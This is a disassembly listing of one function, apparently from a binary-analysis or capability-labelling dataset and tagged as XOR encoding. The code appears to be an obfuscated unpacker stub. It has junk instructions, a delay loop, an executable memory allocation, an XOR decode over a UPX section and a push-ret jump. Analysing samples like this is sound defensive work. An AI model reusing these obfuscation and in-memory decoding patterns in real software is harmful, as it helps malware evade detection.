Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xb3ab16c1
dec esi
sub ebx, 0x25dfe060
popal
sub esi, 1
add ebx, 0x5ea65f0c
mov eax, 0
mov esi, edi
sub ebx, edx
and ebx, ebx
mov ecx, esi
mov ebx, 0xc2edc147
add ebx, edx
sub edx, ebx
mov edi, ecx
sub ebx, edx
sub ebx, edx
mov edx, ebx
inc eax
sub ebx, 0xcfa0bb5
sub edx, 0x86a0472a
sub edx, ebx
cmp eax, 0x10072db
jne 0xa789cb
mov ebx, edx
and ebx, ebx
or ebx, ebx
add esi, 1
mov ebx, 0xb08ff06e
and esi, esi
mov ebx, 0xa78796
add edi, ecx
add eax, edi
mov esi, 0xa7898a
sub eax, edi
add eax, ecx
mov edx, dword [ebx]
add eax, 0x30efcb1f
mov eax, ecx
and edx, 0xff
mov ecx, 0xb9faf55f
sub ecx, 0xc3503869
and eax, ecx
xor dword [esi], edx
add eax, 1
add ecx, 0x9bbb0573
not eax
inc esi
sub ecx, 0xd3749f90
sub eax, 0x467329c
add ebx, 1
mov eax, edi
not ecx
sub eax, 0x934fdc0d
cmp esi, entry0
jl 0xa78a24
not eax
sub ecx, edi
sub edi, 0xa590153a
add edi, ecx
not ecx
mov esi, ebx
dec edi
sub ecx, 0x90e4275e
mov edx, 0xa7898e
or esi, edi
or ebx, ecx
mov edx, dword [edx]
add esi, 1
mov esi, ebx
mov edx, dword [edx]
not ecx
sub ecx, 0x4d3ee3dd
sub esp, 4
mov dword [esp], edx
or edi, edi
mov edi, ebx
mov esi, ecx
mov edx, 0xa7898a
or ecx, ebx
add edi, 0xf80963ea
mov edx, dword [edx]
sub ebx, 1
and ebx, ecx
sub ebx, esi
mov edx, dword [edx]
add ecx, edi
sub ecx, 0xa7142c96
push 0xa78992
not ebx
sub ecx, 0x201a6056
and ecx, esi
call edx
not esi
mov ebx, 0x5b6f5c64
pop edx
add esi, esi
and ecx, ebx
not edi
push 0xa7899f
or ebx, esi
add ecx, 0xae93a312
push eax
add ecx, edi
add ecx, 0xc0753083
call edx
or ecx, edi
mov ebx, ecx
inc edi
push 0x40
add ebx, 0xce988c33
sub ebx, 0xa32b1ddc
inc ebx
push 0x3000
and edi, edi
add ebx, ecx
push 0x20000178
not edi
inc edi
mov ebx, ecx
push 0
and ecx, ecx
sub edi, 0x95173d05
sub ebx, edi
call eax
dec edi
add ecx, edi
add eax, 0x200000c5
sub esi, edi
add ecx, 0x2703bf94
mov edx, 0x44e4b1f0
add ecx, 0x19157153
sub edi, 0xd1386d9a
sub ecx, edi
mov dword [eax], edx
inc ebx
mov ecx, ebx
sub ebx, 0x36396674
mov edx, dword [eax]
and esi, edi
not ebx
mov edi, 0xb5924d3
cmp edx, 0x44e4b1f0
je 0xa78b98
mov edx, 0
mov byte [edx], cl
mov ecx, 0xb864b8a9
sub edi, 0x39ef17c3
add edi, 1
or esi, ebx
inc ebx
mov ebx, 0x7a132fa2
mov esi, ebx
mov esi, ebx
mov ecx, section.UPX1
dec ebx
mov ebx, 0xe1602d0
mov eax, 0xa78795
and esi, ebx
mov ebx, esi
not ebx
mov edi, 0
mov esi, 0x6c3cacd2
and ebx, esi
mov edx, 0xa78796
sub ebx, esi
not ebx
lea edx, [edi + edx]
dec ebx
add ebx, 0x3544f032
mov ebx, esi
mov edx, dword [edx]
mov ebx, 0xb9ba987e
or esi, ebx
not ebx
and edx, 0xff
or ebx, esi
add esi, 0xad17eee8
mov esi, 0xe691e278
inc edi
add ebx, esi
or ebx, esi
sub esi, ebx
cmp edi, 0x1f4
jne 0xa78c1e
mov edi, 0
not esi
not ebx
or esi, ebx
add ebx, esi
xor dword [ecx], edx
add ebx, 1
add esi, esi
add ecx, 2
sub ebx, 0x49b40213
add esi, 0x38de7b0f
add ebx, 0xaa6fc1e5
cmp ecx, eax
jl 0xa78bd7
or ebx, esi
dec esi
dec esi
mov ebx, 0xaea165aa
or esi, ebx
mov esi, section.UPX1
sub eax, ebx
sub eax, ebx
add eax, eax
mov edi, section.UPX1
mov eax, 0x62d92c79
add eax, 0x882074a3
mov edx, 0xa78795
mov eax, ebx
mov ebx, 0x84c80d42
sub eax, ebx
mov ecx, 0
add eax, 1
and eax, eax
mov cl, byte [edi]
add eax, eax
sub eax, 1
mov byte [esi], cl
and ebx, eax
add eax, 1
sub ebx, eax
inc esi
mov eax, ebx
and eax, eax
sub eax, 0xcc4d89a4
add edi, 2
and ebx, eax
mov ebx, 0x3fd8e5e
cmp edi, edx
jle 0xa78c91
add ebx, eax
sub eax, 1
add ebx, 0x9d33323e
add ebx, esi
sub esi, ebx
push 0x8dc6a0
not ebx
add ebx, 0xe597f988
add ebx, 1
ret